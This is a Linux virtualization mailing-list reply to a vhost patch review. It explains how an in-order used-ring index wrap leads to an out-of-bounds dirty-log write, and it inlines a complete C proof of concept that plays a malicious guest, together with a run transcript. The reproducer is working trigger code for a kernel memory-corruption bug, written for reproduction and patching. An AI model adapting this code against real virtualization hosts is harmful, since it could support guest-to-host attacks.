Linux virtualization list
 help / color / mirror / Atom feed
From: Fang Xieyan <fangxy@xiaopeng.com>
To: mst@redhat.com, jasowang@redhat.com, eperezma@redhat.com
Cc: virtualization@lists.linux.dev, kvm@vger.kernel.org,
	netdev@vger.kernel.org, stable@vger.kernel.org,
	linux-kernel@vger.kernel.org, liuwb@xiaopeng.com
Subject: Re: [PATCH] vhost: fix used ring index wrap in vhost_add_used_n_in_order
Date: Thu, 22 Oct 2026 18:06:56 +0800	[thread overview]
Message-ID: <20261022100656.39488-1-fangxy@xiaopeng.com> (raw)
In-Reply-To: <20261020232956.99970-1-fangxy@xiaopeng.com>

> Can you send the reproducer? I'm very curious about how vhost_net
> reaches to done_idx=64. It seems some bound needs to be added there
> too, isn't it?

The reproducer is inlined at the bottom of this mail (poc_vhost_oob.c)
and builds with:

    gcc -static -O2 -pthread -o poc_vhost_oob poc_vhost_oob.c

Run it as root inside a guest on an unpatched kernel containing
67a873df0c41. It configures a 32-entry TX vring, requests
VIRTIO_F_IN_ORDER, VIRTIO_NET_F_MRG_RXBUF and VIRTIO_F_VERSION_1,
enables used-ring dirty logging, and attaches a tap backend. The
reproducer requires a 4 KiB-page kernel and checks the required
features at startup.

The reproduction is timing-dependent, so the results below describe
the kernel and configuration we tested, not every unpatched kernel.

How done_idx reaches 64:

vhost refreshes its cached avail index only when the cached window is
exhausted. The available-index sanity check runs at that refresh, not
on every descriptor pull. The writer advances avail->idx to rx + num,
where rx is the tap's rx_packets counter, a lagging proxy for vhost's
consumption. Jumbo TX frames give the writer time to replenish the
ring while vhost drains it. Transient overshoots can still trigger
EINVAL; the reproducer's recovery path handles those cases.

The instrumented run below confirms that done_idx reached the
VHOST_NET_BATCH limit of 64. With num=32 and last_used initially 3,
vhost_add_used_n_in_order() computes start=3+64 and subtracts num
only once, leaving start=35. The used-ring entry itself is written
using the initial valid index because this TX flush uses count=1.
However, log_used() subsequently derives its length from the invalid
start, causing the unsigned underflow.

For reference, here is a trimmed transcript from the instrumented
7.3-rc7 run after the TAP vnet-header fix. The kernel messages come
from temporary debug instrumentation and do not appear on a stock
kernel:

    [poc] tap poc0 vnet_hdr_sz set to 12
    [poc] negotiated: 0x904008000 (IN_ORDER=1 MRG_RXBUF=1 V1=1 LOG_ALL=1)
    [    1.763425] POCDBG max done_idx at flush=64 num=32
    [    1.818827] vhost: log_used OOB write: used_offset=28 len=34359738344
    [poc] used->idx after = 64675 (delta=64675) max_refill_step=32 ...
    [poc] canary intact (probe may still have fired; see dmesg)
    [poc] *** LOG BITMAP CANARY CORRUPTED -> log_used() OOB write CONFIRMED ***
    [poc] log bitmap canary (64 bytes): ff ff ff ff ff ff ff ff ... (all 0xff)
    ==== PoC exit code: 0 ====

The log_used diagnostic was emitted 3589 times in this run, counted
from the per-hit pr_err messages; the WARN_ON_ONCE warning and stack
trace appeared only once. The reported length,
34359738344 = (2^32 - 3) * 8, matches the underflow for num=32 and
start=35. The bitmap canary changing from 0xA5 to 0xFF confirms that
set_bit_to_user() wrote beyond the logical dirty-log bitmap. The
used-ring canary remained intact, consistent with the count=1 TX path.

The used-ring dirty-log bitmap in this reproducer is mapped by the
PoC itself. This demonstrates the out-of-bounds write in the tested
vhost path, but is not by itself an end-to-end exploit against a real
host; the impact on a host's live bitmap depends on its memory layout.

> It seems some bound needs to be added there too, isn't it?

Regarding the additional bound: the current patch fixes the immediate
ring-index wrap and prevents the log_used() length underflow. The
reproducer also shows that done_idx can reach 64 when vq->num is 32,
while the existing single-subtraction logic implicitly assumes
nheads[i] <= vq->num.

Would you prefer to keep this patch focused on the index-wrap fix and
address bounding the in-order TX batch in a separate follow-up, or
should the bound be handled together with this fix? My inclination is
to discuss the batching limit separately, since changing the TX
batching path deserves its own review and testing.

> The patch itself looks good to me, even if we will need to modify it
> for packed vqs, so

Thanks!  This change only touches the split-ring in_order path
(vhost_add_used_n_in_order).  I will look at the packed-ring equivalent
and send it separately.

Fang Xieyan

--------------- 8< --------------- reproducer: poc_vhost_oob.c --------------- 8< ---------------
/*
 * poc_vhost_oob.c - PoC for the vhost in-order used-index wrap that causes a
 * dirty-log bitmap OOB write (the used ring itself is not written out of bounds)
 *
 * Triggers the bug in vhost_add_used_n_in_order() fixed by
 * "vhost: fix used ring index wrap in vhost_add_used_n_in_order".
 *
 * Runs INSIDE the test guest (7.3-rc7 + WARN probe), as root, playing the
 * role of a malicious guest on the TX path:
 *
 *   - opens /dev/vhost-net, negotiates VIRTIO_F_IN_ORDER + MRG_RXBUF + V1
 *   - sets a small TX vring (num=32) whose descriptors all point at large
 *     (4000-byte payload) read-only packet buffers
 *   - a writer thread advances avail->idx to rx + NUM, where rx is the poc0
 *     tap RX packet count -- a lagging proxy for what vhost has consumed.  The
 *     delta vhost sees at each re-read is therefore ~NUM minus that lag, not
 *     exactly NUM, and stays within the "avail index change <= num" window only
 *     while the writer keeps ahead (an overshoot is rejected with EINVAL and
 *     recovered), so handle_tx keeps pulling and nvq->done_idx accumulates.
 *   - the large frames make vhost's per-packet copy+sendmsg cost dominate the
 *     writer's poll latency, so d -- the logical, unwrapped amount by which
 *     vhost's consumed-descriptor count leads the tap's rx counter -- stays
 *     below num, and outstanding = num - d never reaches 0 mid-batch: vhost
 *     does not stall and done_idx climbs to the VHOST_NET_BATCH(64) cap.  The
 *     kernel's last_avail_idx is a 16-bit wrapping index while rx is
 *     cumulative, so d is defined from the unwrapped consumed-descriptor count
 *     minus rx (the raw u16 index must be extended across wraparound;
 *     subtracting last_avail_idx from rx directly would be wrong).  The PoC
 *     cannot measure it directly (it only sees rx), so done_idx==64 is confirmed
 *     by the kernel-side probe rather than inferred from the refill cadence.
 *   - a flush with done_idx=64 and num=32 hands nheads[0]=64 to
 *     vhost_add_used_n_in_order():
 *         start = last_used & (num-1); start += 64; if (start >= num) start -= num;
 *     one subtraction leaves start = (last_used & 31) + 32 >= num  => probe fires.
 *
 * What the corrupted start actually corrupts:
 *   - vhost_put_used(): TX in_order passes count=1, so the single write uses
 *     the masked-valid start; the >=num residue is computed AFTER that write
 *     and is not dereferenced again in this call.  An actual used-ring OOB
 *     write would need count>=2 with nheads[i]>num, which the mainline TX
 *     (count=1) and RX (nheads=headcount<=num) in_order paths do not produce.
 *   - log_used(): when used-ring dirty logging is on, the SAME post-loop start
 *     feeds "(vq->num - start)".  For start>num this underflows to a huge u64
 *     length, and log_write() sweeps set_bit_to_user() beyond the logical
 *     dirty-log bitmap into the PoC's own userspace mapping.  This is the
 *     reachable corruption, so this PoC enables logging (VHOST_F_LOG_ALL +
 *     VHOST_SET_LOG_BASE + VHOST_VRING_F_LOG on the used ring) and places a
 *     canary just past the 512-byte bitmap to catch the sweep.
 *
 * Why TX (not RX): RX mergeable needs headcount > num within a single
 * get_rx_bufs() call (a hard intra-call race).  TX accumulates done_idx
 * across separate packets, giving the writer thread time to refill avail
 * between pulls - far easier to win, and done_idx>=4 already triggers.
 *
 * Build (static):  gcc -static -O2 -pthread -o poc_vhost_oob poc_vhost_oob.c
 *
 * Author: Fang Xieyan <fangxy@xiaopeng.com>
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <pthread.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/eventfd.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_tun.h>
#include <linux/vhost.h>
#include <linux/virtio_ring.h>
#include <linux/virtio_net.h>
#include <linux/virtio_config.h>

#ifndef VIRTIO_F_IN_ORDER
#define VIRTIO_F_IN_ORDER 35
#endif

/* ---- tunables ---- */
#define GUEST_MEM_SZ   (16u << 20)
#define VRING_NUM      32            /* Chosen so VHOST_NET_BATCH (64) == 2*num:
                                       * a full batch (done_idx=64) then makes
                                       * start = (last_used & 31) + 64 - 32 =
                                       * (last_used & 31) + 32 >= num after the
                                       * single subtraction, for ANY initial
                                       * last_used, so the wrap underflows and
                                       * the probe fires.  num=32 is a convenient
                                       * trigger, not a precondition -- the bug
                                       * is the single subtraction itself.  The
                                       * large TX frames below are what let
                                       * done_idx actually climb to 64. */
#define DESC_OFF       0x100
#define AVAIL_OFF      0x400
#define USED_OFF       0x600
#define CANARY_OFF     0x800
#define TXBUF0         0x1000        /* TX packet buffer 0 (GPA)           */
#define TXBUF1         0x4000        /* TX packet buffer 1 (GPA)           */
#define TX_PAYLOAD     4000          /* Jumbo frames: each pull's copy+sendmsg
                                       * costs ~100x a 60B frame, so a 32-pull
                                       * window drain takes long enough for the
                                       * writer to observe rx advance mid-drain
                                       * and keep avail = rx + num ahead of
                                       * last_avail (out = num - d > 0, where
                                       * d is the unwrapped consumed-count lead
                                       * over rx, which the PoC cannot measure
                                       * directly), so vhost
                                       * chains windows and done_idx climbs
                                       * past num to the batch cap.
                                       * 64*4026B = 257KB < VHOST_NET_WEIGHT
                                       * (512KB) so weight does not flush early.
                                       * Needs poc0 MTU raised (see tap_up). */
#define CANARY_MAGIC   0xDEADBEEF
#define VQ_TX          1             /* virtio-net TX queue index          */
#define RUN_SECONDS    10

/* ---- used-ring dirty-logging (VHOST_F_LOG_ALL) bitmap ----
 * log_used() computes (vq->num - start) with the corrupted post-loop start.
 * When start > num this underflows to a huge u64 length, and log_write() then
 * sweeps set_bit_to_user() beyond the 512-byte bitmap (16MB/4K/8) into this
 * PoC's own userspace mapping.  We lay a canary just past the legit bitmap area
 * and a PROT_NONE guard page after page 0, so the sweep corrupts the canary
 * then faults quickly instead of grinding ~1M bytes on every flush.
 *
 * NOTE: this layout assumes 4 KiB pages -- the legit bitmap is
 * GUEST_MEM_SZ/4096/8 = 512 bytes, and the guard page is mprotect()'d at
 * LOGMAP_SZ/2 = 4096, only page-aligned for a 4096-byte page.  On a kernel
 * with a larger PAGE_SIZE both would be wrong, so main() checks
 * sysconf(_SC_PAGESIZE) and aborts unless it is 4096 (this PoC targets the
 * x86 test guest, which uses 4 KiB pages). */
#define LOGMAP_SZ          8192      /* page0 = RW bitmap+canary, page1 = guard */
#define LOGBITMAP_SZ       512       /* legit bitmap: 16MB / 4096 / 8 (4K pages) */
#define LOGBIT_CANARY_OFF  512       /* canary right after the legit bitmap     */
#define LOGBIT_CANARY_SZ   64
#define LOGBIT_CANARY_BYTE 0xA5

static int g_verbose = 1;
#define DBG(...) do { if (g_verbose) fprintf(stderr, "[poc] " __VA_ARGS__); } while (0)
#define DIE(...) do { fprintf(stderr, "[poc] FATAL: " __VA_ARGS__); exit(1); } while (0)

static volatile int g_stop = 0;
/* Largest per-poll increment of the tap rx counter (rx - last_rx), reported as
 * max_refill_step.  This is NOT the true d (the unwrapped lead of last_avail_idx
 * over rx) from the strategy comment -- the PoC cannot observe last_avail_idx --
 * so it is only an indirect indicator of drain rate, never proof that done_idx
 * reached 64. */
static volatile unsigned long g_max_avail_lag = 0;
static volatile unsigned long g_avail_updates = 0;
static volatile unsigned long g_final_rx = 0;
static int g_kickfd = -1;
static struct vring_avail *g_avail;

static void hexdump(const char *tag, const void *p, size_t n)
{
    const uint8_t *b = p; size_t i;
    fprintf(stderr, "[poc] %s (%zu bytes):", tag, n);
    for (i = 0; i < n && i < 48; i++) fprintf(stderr, " %02x", b[i]);
    fprintf(stderr, "\n");
}

static int tap_open(const char *name, int vnet_hdr)
{
    struct ifreq ifr;
    int fd = open("/dev/net/tun", O_RDWR);
    if (fd < 0) DIE("open /dev/net/tun: %s\n", strerror(errno));
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
    if (vnet_hdr) ifr.ifr_flags |= IFF_VNET_HDR;
    strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
    if (ioctl(fd, TUNSETIFF, &ifr) < 0) DIE("TUNSETIFF: %s\n", strerror(errno));
    if (vnet_hdr) {
        /* vhost-net negotiates VIRTIO_F_VERSION_1 + MRG_RXBUF and does NOT set
         * VHOST_NET_F_VIRTIO_NET_HDR, so vhost_net_set_features() hands the tap
         * a 12-byte virtio_net_hdr_mrg_rxbuf (sock_hlen = 12).  TUN's default
         * vnet_hdr_sz is sizeof(virtio_net_hdr) = 10, which would make the tap
         * strip only 10 bytes and mis-frame every packet; set it to 12 so the
         * tap and vhost-net agree on the header length. */
        int hdr_sz = sizeof(struct virtio_net_hdr_mrg_rxbuf);
        if (ioctl(fd, TUNSETVNETHDRSZ, &hdr_sz) < 0)
            DIE("TUNSETVNETHDRSZ: %s\n", strerror(errno));
        DBG("tap %s vnet_hdr_sz set to %d\n", ifr.ifr_name, hdr_sz);
    }
    DBG("tap %s opened (fd=%d, vnet_hdr=%d)\n", ifr.ifr_name, fd, vnet_hdr);
    return fd;
}

static void tap_up(const char *name)
{
    struct ifreq ifr;
    int sfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sfd < 0) DIE("socket: %s\n", strerror(errno));
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
    if (ioctl(sfd, SIOCGIFFLAGS, &ifr) < 0) DIE("SIOCGIFFLAGS: %s\n", strerror(errno));
    ifr.ifr_flags |= (IFF_UP | IFF_RUNNING);
    if (ioctl(sfd, SIOCSIFFLAGS, &ifr) < 0) DIE("SIOCSIFFLAGS up: %s\n", strerror(errno));
    /* Raise MTU so jumbo TX frames (TX_PAYLOAD) are not dropped by
     * tun_get_user; larger frames slow the per-pull drain (see TX_PAYLOAD). */
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
    ifr.ifr_mtu = 9000;
    if (ioctl(sfd, SIOCSIFMTU, &ifr) < 0)
        DBG("SIOCSIFMTU 9000 failed: %s (non-fatal)\n", strerror(errno));
    else
        DBG("tap %s MTU set to 9000\n", name);
    DBG("tap %s set UP\n", name);
    close(sfd);
}

/* read poc0 RX packet count == number of TX packets vhost has consumed (each
 * handle_tx sendmsg injects one frame received on poc0).
 *
 * We read the single-value sysfs counter /sys/class/net/poc0/statistics/
 * rx_packets via a cached fd + pread(0), NOT /proc/net/dev.  (In an earlier
 * version this polled /proc/net/dev, a seq_file that walks every interface on
 * each open+read; under TCG one poll cost ~340us, so the writer only observed
 * consumption once per ~num packets (max_refill_step == num) and vhost always
 * drained the whole window and flushed at done_idx == num < 2*num.  That is
 * history, not what the current code does.)  The sysfs counter is one cheap
 * syscall, letting the writer track per-packet and keep avail topped up
 * mid-batch. */
static unsigned long read_poc0_rx(void)
{
    static int fd = -1;
    char buf[32];
    ssize_t n;
    if (fd < 0) {
        fd = open("/sys/class/net/poc0/statistics/rx_packets", O_RDONLY);
        if (fd < 0) return 0;
    }
    n = pread(fd, buf, sizeof(buf) - 1, 0);
    if (n <= 0) return 0;
    buf[n] = '\0';
    return strtoul(buf, NULL, 10);
}

/* Malicious-guest refill thread.
 *
 * THE CRUX.  vhost caches avail->idx and only re-reads guest memory when the
 * cache is exhausted (last_avail_idx == avail_idx), and the sanity check
 * "(avail_idx - last_avail_idx) > num -> EINVAL" runs ONLY at that re-read.
 * Between re-reads vhost pulls blindly from the cache.  So the guest may write
 * avail->idx AHEAD during a batch; it is validated only at the next re-read
 * boundary (last_avail == old cache), where avail == last_avail + num is legal.
 *
 * We lead by ONE window: avail = rx + num, where rx is the poc0 tap RX packet
 * count -- our only host-visible view of vhost's progress, and a lagging one.
 * At a re-read the delta vhost sees is outstanding = avail - last_avail =
 * num - d, where d is the logical, unwrapped lead of vhost's consumed count
 * over the tap's rx counter (descriptors vhost has consumed but the tap counter
 * has not yet reflected).  last_avail_idx is a 16-bit wrapping index and rx is
 * cumulative, so d is defined from the unwrapped consumed-descriptor count
 * minus rx, not a literal subtraction of the raw u16 index from rx.  We cannot
 * measure d directly (rx is all we see);
 * g_max_avail_lag only records the per-poll rx increment, an indirect
 * indicator.  The TX frames are jumbo (see TX_PAYLOAD), so each pull's
 * copy+sendmsg is slow and the writer replenishes often enough to keep d < num;
 * outstanding therefore never reaches 0 at a re-read boundary, vhost never
 * stalls, and done_idx climbs to the VHOST_NET_BATCH(64) cap.  Leading by TWO
 * windows does NOT work: rx+2*num pushes outstanding over num at the batch-start
 * re-read and is rejected with EINVAL, so the lead must stay <= num.
 *
 * A flush at done_idx=64 with num=32 hands nheads[0]=64 to
 * vhost_add_used_n_in_order():
 *     start = (last_used & 31) + 64;
 *     start -= num;   // one subtraction is not enough
 * The result is (last_used & 31) + 32, always >= num for any in-ring last_used.
 * In the observed run last_used started at 3, leaving start at 35  => the wrap
 * WARN fires (the F-015 OOB write).
 *
 * If a poll transiently overshoots (before the TX pipe fills) vhost wedges in
 * EINVAL and rx stops advancing; we detect the no-progress via the idle counter
 * and reset to the always-legal avail = rx + num, then re-kick, so vhost
 * recovers. */
static void *writer_thread(void *arg)
{
    uint64_t one = 1;
    unsigned long last_rx = 0;
    unsigned long target = VRING_NUM;      /* what we currently advertise      */
    unsigned idle = 0;
    (void)arg;
    g_avail->idx = (uint16_t)target;       /* prime one legal window           */
    write(g_kickfd, &one, sizeof(one));    /* seed kick so handle_tx starts    */
    while (!g_stop) {
        unsigned long rx = read_poc0_rx();
        if (rx != last_rx) {
            /* rx - last_rx: how far the tap counter advanced since our last
             * poll -- an indirect drain-rate indicator, NOT the d (unwrapped
             * consumed-count lead over rx) that actually sets outstanding
             * (see the header comment). */
            unsigned long lag = rx - last_rx;
            unsigned long want;
            if (lag > g_max_avail_lag) g_max_avail_lag = lag;
            last_rx = rx;
            idle = 0;
            g_avail_updates++;
            /* One-window lead (advance-only, u16-wrap safe) -- see the strategy
             * comment above writer_thread().  A 2*num lead would be rejected
             * with EINVAL at the batch-start re-read, so the lead stays <= num. */
            want = rx + VRING_NUM;
            if ((uint16_t)(want - target) < 0x8000u) target = want;
            g_avail->idx = (uint16_t)target;
        } else if (++idle >= 4096) {
            /* No delivery progress: vhost is either stalled (needs a kick) or
             * wedged in EINVAL because target overshot last_avail+num.  Reset
             * to the always-legal rx+num (last_avail >= rx => rx+num is within
             * the invariant) and kick vhost back into handle_tx. */
            target = last_rx + VRING_NUM;
            g_avail->idx = (uint16_t)target;
            write(g_kickfd, &one, sizeof(one));
            idle = 0;
        }
        /* Busy-poll with sched_yield(): returns at once when the vhost worker
         * is on a sibling vCPU (-smp 4) yet still lets it run if they share a
         * core.  A real guest refills avail with a bare store; we observe via a
         * syscall so we poll flat out to keep the lead fresh. */
        sched_yield();
    }
    g_final_rx = last_rx;
    return NULL;
}





static int xioctl(int fd, unsigned long req, void *arg, const char *what)
{
    int r = ioctl(fd, req, arg);
    if (r < 0) DBG("ioctl %s FAILED: %s\n", what, strerror(errno));
    else DBG("ioctl %s ok\n", what);
    return r;
}

int main(int argc, char **argv)
{
    int vnet_hdr = 1;
    void *mem;
    int vfd, tapfd, callfd;
    uint64_t feats, sup;
    struct vhost_memory *vmem;
    struct vhost_vring_state vs;
    struct vhost_vring_addr va;
    struct vhost_vring_file vf;
    struct vring_desc *desc;
    struct vring_avail *avail;
    struct vring_used *used;
    uint32_t *canary;
    uint8_t *logmap;
    uint64_t logbase_arg;
    uint8_t *txbuf0, *txbuf1;
    uint16_t used_before, used_after;
    pthread_t wt;
    pthread_t wt2;
    int i;

    (void)argc; (void)argv;

    /* The dirty-log bitmap layout (LOGBITMAP_SZ and the guard-page offset) is
     * hard-coded for 4 KiB pages -- see the LOGBITMAP_SZ comment.  Refuse to run
     * elsewhere rather than silently mmap a bogus layout and report a
     * misleading result.  The x86 test guest uses 4 KiB pages. */
    {
        long pgsz = sysconf(_SC_PAGESIZE);
        if (pgsz != 4096)
            DIE("this reproducer assumes 4096-byte pages; sysconf(_SC_PAGESIZE)"
                " = %ld, so the dirty-log bitmap layout would be wrong\n", pgsz);
    }

    mem = mmap(NULL, GUEST_MEM_SZ, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mem == MAP_FAILED) DIE("mmap: %s\n", strerror(errno));
    memset(mem, 0, GUEST_MEM_SZ);
    DBG("guest mem %p (%u MB)\n", mem, GUEST_MEM_SZ >> 20);

    /* dirty-logging bitmap: page0 holds the 512B legit bitmap + a canary just
     * past it; page1 is a PROT_NONE guard so the OOB sweep faults fast. */
    logmap = mmap(NULL, LOGMAP_SZ, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (logmap == MAP_FAILED) DIE("mmap logmap: %s\n", strerror(errno));
    memset(logmap, 0, LOGMAP_SZ);
    /* The guard page is what bounds the runaway OOB sweep: set_bit_to_user()
     * over the underflowed ~34GB length faults at +LOGMAP_SZ/2 (returning
     * -EFAULT) instead of grinding on.  main() already aborts unless the page
     * size is 4096, so this offset and length are page-aligned and mprotect
     * must succeed; treat failure as fatal rather than silently running
     * without the guard (which would make the "canary corrupted" verdict
     * depend on an unbounded sweep). */
    if (mprotect(logmap + LOGMAP_SZ / 2, LOGMAP_SZ / 2, PROT_NONE) < 0)
        DIE("mprotect guard page failed: %s\n", strerror(errno));
    memset(logmap + LOGBIT_CANARY_OFF, LOGBIT_CANARY_BYTE, LOGBIT_CANARY_SZ);
    DBG("log bitmap %p (%dB legit, guard@+%d), canary @+%d\n",
        logmap, LOGBITMAP_SZ, LOGMAP_SZ / 2, LOGBIT_CANARY_OFF);

    desc   = (struct vring_desc *)((char *)mem + DESC_OFF);
    avail  = (struct vring_avail *)((char *)mem + AVAIL_OFF);
    used   = (struct vring_used *)((char *)mem + USED_OFF);
    canary = (uint32_t *)((char *)mem + CANARY_OFF);
    txbuf0 = (uint8_t *)mem + TXBUF0;
    txbuf1 = (uint8_t *)mem + TXBUF1;
    g_avail = avail;

    /* TX packet buffers: 12-byte virtio_net_hdr (VERSION_1/MRG) + eth frame.
     * All VRING_NUM descriptors share the two packet buffers (content is
     * identical), so in_order reuse of desc 0..NUM-1 always finds a valid
     * device-readable TX buffer. */
    {
        size_t hdr = 12, flen;
        /* build one canonical large TX frame in both buffers */
        flen = hdr + 14 + TX_PAYLOAD;
        for (i = 0; i < 2; i++) {
            uint8_t *b = i ? txbuf1 : txbuf0;
            memset(b, 0, hdr);                       /* hdr: gso NONE       */
            memset(b + hdr, 0xff, 6);                /* dst broadcast       */
            memset(b + hdr + 6, 0x02, 6);            /* src                 */
            b[hdr + 12] = 0x08; b[hdr + 13] = 0x00;  /* IPv4                */
            memset(b + hdr + 14, 'A', TX_PAYLOAD);   /* big payload         */
        }
        /* descriptors 0..NUM-1: device-readable (TX), no WRITE flag */
        for (i = 0; i < VRING_NUM; i++) {
            desc[i].addr  = (i & 1) ? TXBUF1 : TXBUF0;
            desc[i].len   = flen;
            desc[i].flags = 0;                       /* read-only for TX    */
            desc[i].next  = 0;
        }
        DBG("TX buffers ready: hdr=%zu frame=%zu desc.len=%zu ndesc=%d\n",
            hdr, flen - hdr, flen, VRING_NUM);
    }

    avail->flags = 0;
    for (i = 0; i < VRING_NUM; i++) avail->ring[i] = i;
    avail->idx = 0;

    for (i = 0; i < 16; i++) canary[i] = CANARY_MAGIC;
    DBG("used ring @0x%x canary @0x%x\n", USED_OFF, CANARY_OFF);

    tapfd = tap_open("poc0", vnet_hdr);
    tap_up("poc0");

    vfd = open("/dev/vhost-net", O_RDWR);
    if (vfd < 0) DIE("open /dev/vhost-net: %s\n", strerror(errno));
    if (xioctl(vfd, VHOST_SET_OWNER, NULL, "SET_OWNER") < 0) DIE("SET_OWNER\n");

    if (ioctl(vfd, VHOST_GET_FEATURES, &sup) < 0) DIE("GET_FEATURES: %s\n", strerror(errno));
    feats = (1ULL << VIRTIO_F_VERSION_1) | (1ULL << VIRTIO_F_IN_ORDER) |
            (1ULL << VIRTIO_NET_F_MRG_RXBUF) | (1ULL << VIRTIO_NET_F_MAC) |
            (1ULL << VHOST_F_LOG_ALL);
    feats &= sup;
    DBG("negotiated: 0x%llx (IN_ORDER=%d MRG_RXBUF=%d V1=%d LOG_ALL=%d)\n",
        (unsigned long long)feats,
        !!(feats & (1ULL << VIRTIO_F_IN_ORDER)),
        !!(feats & (1ULL << VIRTIO_NET_F_MRG_RXBUF)),
        !!(feats & (1ULL << VIRTIO_F_VERSION_1)),
        !!(feats & (1ULL << VHOST_F_LOG_ALL)));
    /* The reproduction is meaningless unless these three survived negotiation:
     * IN_ORDER selects the buggy vhost_add_used_n_in_order() path, LOG_ALL
     * enables the used-ring dirty logging whose log_used() length underflows,
     * and VERSION_1 fixes the 12-byte virtio_net_hdr the TX buffers assume.
     * "feats &= sup" silently drops anything the kernel lacks, so check here and
     * abort loudly -- otherwise the PoC could run without the preconditions and
     * print "canary intact", which must not be mistaken for "not vulnerable". */
    {
        uint64_t required = (1ULL << VIRTIO_F_VERSION_1) |
                            (1ULL << VIRTIO_F_IN_ORDER) |
                            (1ULL << VHOST_F_LOG_ALL);
        if ((feats & required) != required)
            DIE("kernel did not offer required features (missing 0x%llx of "
                "IN_ORDER|LOG_ALL|V1); cannot reproduce here -- this is NOT "
                "evidence the bug is absent\n",
                (unsigned long long)(required & ~feats));
    }
    if (xioctl(vfd, VHOST_SET_FEATURES, &feats, "SET_FEATURES") < 0) DIE("SET_FEATURES\n");

    vmem = calloc(1, sizeof(*vmem) + sizeof(struct vhost_memory_region));
    vmem->nregions = 1;
    vmem->regions[0].guest_phys_addr = 0;
    vmem->regions[0].memory_size     = GUEST_MEM_SZ;
    vmem->regions[0].userspace_addr  = (uint64_t)(uintptr_t)mem;
    if (xioctl(vfd, VHOST_SET_MEM_TABLE, vmem, "SET_MEM_TABLE") < 0) DIE("SET_MEM_TABLE\n");

    /* Must precede NET_SET_BACKEND: attaching the backend runs
     * vhost_vq_access_ok() -> vq_log_access_ok(), which needs log_base set. */
    logbase_arg = (uint64_t)(uintptr_t)logmap;
    if (xioctl(vfd, VHOST_SET_LOG_BASE, &logbase_arg, "SET_LOG_BASE") < 0)
        DIE("SET_LOG_BASE\n");

    vs.index = VQ_TX; vs.num = VRING_NUM;
    if (xioctl(vfd, VHOST_SET_VRING_NUM, &vs, "SET_VRING_NUM(TX)") < 0) DIE("VRING_NUM\n");

    memset(&va, 0, sizeof(va));
    va.index           = VQ_TX;
    va.desc_user_addr  = (uint64_t)(uintptr_t)desc;
    va.avail_user_addr = (uint64_t)(uintptr_t)avail;
    va.used_user_addr  = (uint64_t)(uintptr_t)used;
    va.flags           = (1 << VHOST_VRING_F_LOG);  /* enable used-ring logging */
    va.log_guest_addr  = USED_OFF;                  /* GPA of the used ring     */
    if (xioctl(vfd, VHOST_SET_VRING_ADDR, &va, "SET_VRING_ADDR(TX)") < 0) DIE("VRING_ADDR\n");

    vs.index = VQ_TX; vs.num = 0;
    if (xioctl(vfd, VHOST_SET_VRING_BASE, &vs, "SET_VRING_BASE(TX)") < 0) DIE("VRING_BASE\n");

    g_kickfd = eventfd(0, EFD_NONBLOCK);
    callfd   = eventfd(0, EFD_NONBLOCK);
    vf.index = VQ_TX; vf.fd = g_kickfd;
    if (xioctl(vfd, VHOST_SET_VRING_KICK, &vf, "SET_VRING_KICK(TX)") < 0) DIE("KICK\n");
    vf.index = VQ_TX; vf.fd = callfd;
    if (xioctl(vfd, VHOST_SET_VRING_CALL, &vf, "SET_VRING_CALL(TX)") < 0) DIE("CALL\n");

    vf.index = VQ_TX; vf.fd = tapfd;
    if (xioctl(vfd, VHOST_NET_SET_BACKEND, &vf, "NET_SET_BACKEND(TX)") < 0) DIE("SET_BACKEND\n");
    DBG("vhost-net TX backend attached; ring live\n");

    used_before = used->idx;
    DBG("used->idx before = %u; starting refill writer for %d s\n",
        used_before, RUN_SECONDS);

    /* One refill thread with a private speculative target; a second thread
     * would race on avail->idx.  -smp 4 gives it a dedicated vCPU. */
    if (pthread_create(&wt, NULL, writer_thread, NULL) != 0) DIE("pthread_create\n");
    sleep(RUN_SECONDS);
    g_stop = 1;
    pthread_join(wt, NULL);

    used_after = used->idx;
    DBG("used->idx after = %u (delta=%u)  max_refill_step=%lu  avail_updates=%lu  final_rx=%lu\n",
        used_after, (uint16_t)(used_after - used_before), g_max_avail_lag,
        g_avail_updates, g_final_rx);
    for (i = 0; i < VRING_NUM; i++)
        DBG("used->ring[%d] = {id=%u len=%u}\n", i, used->ring[i].id, used->ring[i].len);

    {
        int corrupted = 0;
        for (i = 0; i < 16; i++)
            if (canary[i] != CANARY_MAGIC) { corrupted = 1; break; }
        if (corrupted) {
            fprintf(stderr, "[poc] *** CANARY CORRUPTED -> OOB write CONFIRMED ***\n");
            hexdump("canary area", canary, 64);
        } else {
            fprintf(stderr, "[poc] canary intact (probe may still have fired; see dmesg)\n");
        }
    }
    {
        int lcorrupt = 0, k;
        for (k = 0; k < LOGBIT_CANARY_SZ; k++)
            if (logmap[LOGBIT_CANARY_OFF + k] != LOGBIT_CANARY_BYTE) { lcorrupt = 1; break; }
        if (lcorrupt) {
            fprintf(stderr, "[poc] *** LOG BITMAP CANARY CORRUPTED -> log_used() OOB write CONFIRMED ***\n");
            hexdump("log bitmap canary", logmap + LOGBIT_CANARY_OFF, LOGBIT_CANARY_SZ);
        } else {
            fprintf(stderr, "[poc] log bitmap canary intact (log_used probe may still have fired; see dmesg)\n");
        }
    }
    fprintf(stderr, "[poc] === check guest dmesg for WARN_ON_ONCE probes ===\n");

    vf.index = VQ_TX; vf.fd = -1;
    ioctl(vfd, VHOST_NET_SET_BACKEND, &vf);
    close(vfd); close(tapfd); close(g_kickfd); close(callfd);
    munmap(mem, GUEST_MEM_SZ);
    munmap(logmap, LOGMAP_SZ);
    return 0;
}

      parent reply	other threads:[~2026-10-22 10:07 UTC|newest]

